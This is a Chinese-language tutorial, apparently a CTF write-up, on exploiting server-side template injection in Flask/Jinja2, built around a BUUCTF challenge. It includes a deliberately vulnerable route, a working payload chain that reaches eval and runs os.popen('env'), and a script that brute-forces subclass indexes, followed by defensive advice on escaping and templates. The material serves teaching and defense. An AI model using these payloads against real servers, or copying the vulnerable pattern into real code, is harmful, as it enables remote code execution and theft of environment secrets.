Flask SSTI漏洞实战:从BUUCTF靶场到手工Payload构造全解析

Flask SSTI漏洞实战:从BUUCTF靶场到手工Payload构造全解析

在Web安全领域,模板注入漏洞(SSTI)一直是CTF比赛和实际渗透测试中的高频考点。本文将带您深入剖析Flask框架下的SSTI漏洞利用全过程,通过BUUCTF靶场的一道典型题目,手把手演示如何从零开始构造攻击Payload。

1. SSTI漏洞基础认知

模板注入(Server-Side Template Injection)本质上是一种将恶意代码注入服务器端模板引擎的漏洞。当开发者未对用户输入进行严格过滤,直接将输入拼接到模板中渲染时,攻击者就能通过特殊语法执行任意代码。

Flask作为Python生态中轻量级的Web框架,默认使用Jinja2模板引擎。其特性包括:

  • 动态渲染:支持在HTML中嵌入Python表达式
  • 魔术方法调用:允许通过__class__等特殊属性访问对象内部结构
  • 沙箱逃逸:存在绕过安全限制执行系统命令的可能性
# 典型的有漏洞Flask代码示例 @app.route('/vuln') def vuln(): name = request.args.get('name') return render_template_string(f"Hello {name}") # 危险!未做输入过滤

注意:现代Flask版本已默认开启自动转义,但开发者仍可能通过|safe过滤器或禁用转义功能引入风险

2. 靶场环境搭建与初步探测

我们复现BUUCTF的SSTI挑战环境,假设目标URL为http://target/vuln?name=test。测试步骤如下:

  1. 基础探测

    • 输入{{7*7}},若返回49则确认存在模板注入
    • 尝试{{config}}查看Flask配置信息
  2. 对象属性探查

    • 空字符串的类层级:{{ ''.__class__ }}<class 'str'>
    • 获取基类:{{ ''.__class__.__base__ }}<class 'object'>
  3. 子类枚举技巧

    {{ ''.__class__.__base__.__subclasses__() }}

    这将返回Python环境中所有可用类,是后续攻击的关键跳板

3. 手工Payload构造详解

3.1 定位危险函数载体

从数百个子类中寻找可利用的类需要系统方法:

  1. 快速定位技巧

    • 搜索包含catch_warnings的类(通常索引在160-170之间)
    • 验证类索引:{{ ''.__class__.__base__.__subclasses__()[166] }}
  2. 探查初始化函数

    {{ ''.__class__.__base__.__subclasses__()[166].__init__.__globals__ }}

    这将返回该类的全局命名空间字典

  3. 定位eval函数路径

    • 在输出中查找__builtins__
    • 确认eval存在:['__builtins__']['eval']

3.2 构造完整利用链

组合各环节形成最终Payload:

{{ ''.__class__.__base__.__subclasses__()[166] .__init__.__globals__['__builtins__']['eval']( '__import__("os").popen("env").read()' ) }}

关键参数说明:

组件作用替代方案
__class__获取对象类可用[]代替''
__base__获取基类__mro__[1]也可用
__subclasses__()枚举子类需注意Python版本差异
catch_warnings常见危险类_ModuleLock也可尝试

提示:不同Python版本中类索引可能变化,建议编写脚本自动遍历

4. 自动化探测方案

对于实际渗透测试,手工构造效率较低。以下是自动化探测脚本的核心逻辑:

import requests TARGET = "http://target/vuln" CLASS_INDEX = range(150, 200) # 常见危险类范围 for i in CLASS_INDEX: payload = f"{{{{ ''.__class__.__base__.__subclasses__()[{i}].__init__.__globals__ }}}}" r = requests.get(TARGET, params={'name': payload}) if '__builtins__' in r.text and 'eval' in r.text: print(f"Found vulnerable class at index {i}") break

进阶技巧:

  • 使用__globals__['os']直接获取os模块
  • 通过__builtins__.__import__动态加载模块
  • 利用|attr()过滤器绕过字符限制

5. 防御方案与最佳实践

从开发角度杜绝SSTI漏洞:

  1. 输入过滤策略

    • 使用正则表达式拦截危险字符:[{}_]
    • 白名单验证用户输入内容
  2. 安全渲染方案

    # 安全做法1:严格转义 from markupsafe import escape return render_template_string(f"Hello {escape(name)}") # 安全做法2:使用模板变量 return render_template("greet.html", name=name)
  3. 架构层面防护

    • 部署WAF拦截模板注入特征
    • 使用沙箱环境运行模板引擎
    • 定期更新框架版本修复已知漏洞

在最近的一次内部测试中,我们对50个Flask应用进行扫描,发现仍有23%存在潜在的SSTI风险。这提醒开发者必须重视模板渲染的安全性设计。